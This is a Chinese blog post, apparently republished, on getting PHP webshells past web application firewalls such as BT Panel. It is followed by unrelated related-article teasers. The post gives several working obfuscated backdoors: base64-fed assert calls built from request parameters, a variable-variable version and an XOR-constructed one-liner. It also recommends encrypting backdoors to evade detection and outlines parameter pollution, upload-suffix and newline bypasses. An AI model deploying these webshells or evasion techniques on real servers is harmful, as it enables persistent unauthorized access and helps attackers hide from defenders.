WAF攻防相关知识点总结2-代码免杀绕过

WAF的检测除了有对于非正常的流量检测外还对于非正常的数据包特征进行检测

以宝塔为例

在宝塔的后台可以放置一句话木马的文件

宝塔不会对于这个文件进行拦截,但是一旦我们使用菜刀蚁剑等webshell工具去进行连接的时候,数据报中有流量特征就会被拦截

经过检测可以知道是waf对于数据报中的关键字进行了检测

绕过思路

传参绕过:waf拦截使用的是正则表达式,匹配函数的关键字

绕过思路就是把关键字的函数代码以参数值的形式进行发送

一句话木门是<?php eval($_POST['x'])?>

1.使用参数传递进行绕过
<?php
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

连接方式 ?a=ass

post: x=base64encode('后门代码')

绕过宝塔的后门代码

<?php
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>
2.变量覆盖

可以再进行混淆

<?php
$a=$_GET['1'];
$b=$_GET['2'];
$$a($_POST['3']);
?>

连接方式1=b&2=assert

3.异或运算绕过

为了绕过waf的检测,我们可以使用异或运算来组成我们需要的后门代码。抑或运算的原理是使用两个特殊字符进行抑或获得我们需要的字符,这种一位异或使用的是特殊字符如$、@等等,如果waf采取的是字符过滤就很难拦截这种报文

举个例子

在php中我们使用!和@进行抑或即可以获得到字母a,这样的话就可以使用以异或运算绕过检测

<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
4.代码后门加密(推荐使用)

使用加密平台加密我们的后门代码基本上可以实现通杀

PHP加密 - PHP在线加密平台 (phpjm.net)

加密代码的结果

这种在线的加密方式往往采用的是特殊的 秘钥进行加密,平台不知道秘钥的情况下就无法对于文件中的内容进行解密分析,判断其中是否有后门

5.参数污染

不的中间件解析我们传递参数的方式不同

我们可以根据中间件和waf结合的特性去向网站提交数据,如果网站接收的数据和waf拦截的方式不同,我们就可以将同一个参数提交两次,在waf拦击的地方传入合法的值,在网站接收的地方传入注入语句就可以绕过waf实现注入攻击,不过这种情况已经十分少见不常使用,作为知识补充

5.代理设置

我们在进行xss,SQL注入等等测试的时候为了找到漏洞点往往需要使用大量的的测试语句进行测试,为此我们在使用工具的时候需要配代理来绕过网站对于流量的检测从而达到我们的测试实验目的像sqlmap,xsstrike等工具都可以设置代理进行测试,使用时候查阅相关文档即可

6.其他的一些绕过手段

上传文件的时候可以使用同种类型的文件进行替代绕过检测,但是前提条件是后端支持相似文件后缀的解析,通过简单的访问就可以检测出是否支持,如果在这次,就会正常访问,如果不解析,就会出现下载等一系列其他的文件操作行为

操作系统自身的一些特点,例如文件名的结尾有点、空格等字符会自动被过滤但是代码检测的时候由于特殊字符干扰就可以绕过一些waf的检测

使用php中自带的replace函数,将代码中的关键字进替换从而绕过检测

txt=$y=str_replace('x','','pxhpxinxfo()');assert($y);

换行绕过

我们可以将php后缀改为

php

的形式,后端代码在检测的时候会有换行符干扰从而绕过检测,不过大部分waf已经对于这种进行拦截,基本失效

不过这些方式大部分已经被waf修复,实战中利用价值不是很大,作为知识的积累和补充    

写在最后

如有错误,请及时指出,感谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/241103.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JS封装本地缓存的设置,读取,移除,清空方法及使用示例

我封装了一个JS通用的缓存管理对象&#xff0c;可以提供缓存的设置&#xff0c;读取&#xff0c;移除&#xff0c;清空操作&#xff0c;使用也很方便&#xff0c;封装方法的代码在最下方。 Q: 为什么不直接用原生的缓存方法&#xff0c;要封装&#xff1f; A1:原生的缓存管理…

【51单片机】数码管的静态与动态显示(含消影)

数码管在现实生活里是非常常见的设备&#xff0c;例如 这些数字的显示都是数码管的应用。 目录 静态数码管&#xff1a;器件介绍&#xff1a;数码管的使用&#xff1a;译码器的使用&#xff1a;缓冲器&#xff1a; 实现原理&#xff1a;完整代码&#xff1a; 动态数码管&#…

Docker 安装 MySQ

Docker 安装 MySQL MySQL 是世界上最受欢迎的开源数据库。凭借其可靠性、易用性和性能&#xff0c;MySQL 已成为 Web 应用程序的数据库优先选择。 1、查看可用的 MySQL 版本 访问 MySQL 镜像库地址&#xff1a;https://hub.docker.com/_/mysql?tabtags 。 可以通过 Sort b…

写点东西《什么是网络抓取?》

写点东西《什么是网络抓取&#xff1f;》 什么是网络抓取&#xff1f; 网络抓取合法吗&#xff1f; 什么是网络爬虫&#xff0c;它是如何工作的&#xff1f; 网络爬虫示例 网络抓取工具 结论 您是否曾经想同时比较多个网站上同一件商品的价格&#xff1f;或者自动提取您最喜欢的…

生成式对抗网络GAN

Generative Adversarial Nets由伊恩古德费洛&#xff08;Ian J.Goodfellow&#xff09;等人于2014年发表在Conference on Neural Information Processing Systems (NeurIPS)上。NeurIPS是机器学习和计算神经科学领域的顶级国际学术会议之一。 1. GAN在哪些领域大放异彩 图像生…

Rust之旅 - Rust概念、Windows安装、环境配置

&#x1f339;作者主页&#xff1a;青花锁 &#x1f339;简介&#xff1a;Java领域优质创作者&#x1f3c6;、Java微服务架构公号作者&#x1f604; &#x1f339;简历模板、学习资料、面试题库、技术互助 &#x1f339;文末获取联系方式 &#x1f4dd; 系列专栏目录 [Java项目…

手动添加测试用例配置输入参数和期望值

1.选中函数&#xff0c;点击右键选择插入测试用例。这里所选择的插入测试用例区别于之前的测试用例的地方在于&#xff0c;这里插入测试用例是手动配置的&#xff0c;之前的是自动生成的。手动配置可以自定义选择输入参数和期望值。 2.添加测试用例后&#xff0c;点击测试用例&…

克魔助手工具详解、数据包抓取分析、使用教程

目录 摘要 引言 克魔助手界面 克魔助手查看数据捕获列表 数据包解析窗口 数据包数据窗口 克魔助手过滤器表达式的规则 抓包过滤器实例 总结 参考资料 摘要 本文介绍了克魔助手工具的界面和功能&#xff0c;包括数据包的捕获和分析&#xff0c;以及抓包过滤器的使用方…

电梯节能落座-智慧停车场️,电梯不仅可载人也可以载汽车!

电梯不仅可载人也可以载汽车哦&#xff01; 在北京市丰台区&#xff0c;有这么一个智慧停车场&#x1f17f;️ &#xff0c;共298个停车位&#xff0c;全部智能一体化&#xff0c;简直是“豪华” “智能” 的象征。 523能源&#xff1a;小伍&#xff0c;你跑题了... 小伍&am…

MySQL核心SQL

一.结构化查询语言 SQL是结构化查询语言&#xff08;Structure Query Language&#xff09;&#xff0c;它是关系型数据库的通用语言。 SQL 主要可以划分为以下 3 个类别&#xff1a; DDL&#xff08;Data Definition Languages&#xff09;语句 数据定义语言&#xff0c;这…

Discuz论坛网站登录账号操作慢,必须强制刷新才会显示登录怎么办?

飞飞发现在登录服务器大本营账号时&#xff0c;输入账号密码登录后还是显示的登录框&#xff0c;强制刷新后才知道已经登录了&#xff0c;每次都要刷新才能正常显示&#xff0c;非常影响用户体验&#xff0c;于是在网上找了类似的问题故障解决方法&#xff0c;目前问题已经解决…

AWS边缘媒体安全交付方案

企业如何在AWS上的边缘站点&#xff0c;安全的将优质视频内容交付给用户&#xff0c;并且禁止哪些未经过授权的访问&#xff1f;九河云将基于AWS平台提供边缘媒体安全交付解决方案 解决方案详情 在通过 Amazon CloudFront 交付时&#xff0c;免受未经授权的访问。基于添加到交…

多标签节点分类

Multi-Label Node Classification on Graph-Structured Data,TMLR’23 Code 学习笔记 图结构数据的多标签分类 节点表示或嵌入方法 通常会生成查找表&#xff0c;以便将相似的节点嵌入的更近。学习到的表示用作各种下游预测模块的输入特征。 表现突出的方法是基于随机游走(ran…

docker部署项目,/var/lib/docker/overlay2目录满了如何清理?

docker部署项目&#xff0c;/var/lib/docker/overlay2目录满了如何清理&#xff1f; 一、问题二、解决1、查看 /var/lib/docker 目录&#xff08;1&#xff09;、containers 目录&#xff08;2&#xff09;、volumes 目录&#xff08;3&#xff09;、overlay2 目录 2、清理&…

台灯护眼有用吗?分享备考专用的护眼台灯

说到台灯相信大家都不陌生&#xff0c;如今基本是每个家庭都会备上一台。很多家长会买上一台给孩子学习使用&#xff0c;还有些学生党、办公族夜晚学习工作时也会用得上它。但普通的台灯会出现光照范围不够大、光线过度集中、光线均匀度不足、产生眩光等问题&#xff0c;可能会…

基于 IDEA 进行 Maven 依赖管理

一、依赖管理概念 Maven 依赖管理是 Maven 软件中最重要的功能之一。Maven 的依赖管理能够帮助开发人员自动解决软件包依赖问题&#xff0c;使得开发人员能够轻松地将其他开发人员开发的模块或第三方框架集成到自己的应用程序或模块中&#xff0c;避免出现版本冲突和依赖缺失等…

Redis--Zset使用场景举例(滑动窗口实现限流)

文章目录 前言什么是滑动窗口zset实现滑动窗口小结附录 前言 在Redis–Zset的语法和使用场景举例&#xff08;朋友圈点赞&#xff0c;排行榜&#xff09;一文中&#xff0c;提及了redis数据结构zset的指令语法和一些使用场景&#xff0c;今天我们使用zset来实现滑动窗口限流&a…

IOS-高德地图SDK接入-Swift

申请key 这个要前往高德开发平台注册成为个人开发者然后在控制台创建一个应用&#xff1a; 高德开发平台 注册步骤就不写了&#xff0c;写一下创建应用的步骤&#xff1a; 1、点击应用管理——>我的应用 2、点击右上角的创建新应用 3、输入内容&#xff1a; 4、点击添加ke…

【设计模式之美】重构(三)之解耦方法论:如何通过封装、抽象、模块化、中间层等解耦代码?

文章目录 一. “解耦”概述二. 如何给代码“解耦”&#xff1f;1. 封装与抽象2. 中间层2.1. 引入中间层能**简化模块或类之间的依赖关系**。2.2. 引入中间层可以起到过渡的作用&#xff0c;能够让开发和重构同步进行&#xff0c;不互相干扰。 3. 模块化4. 其他设计思想和原则4.…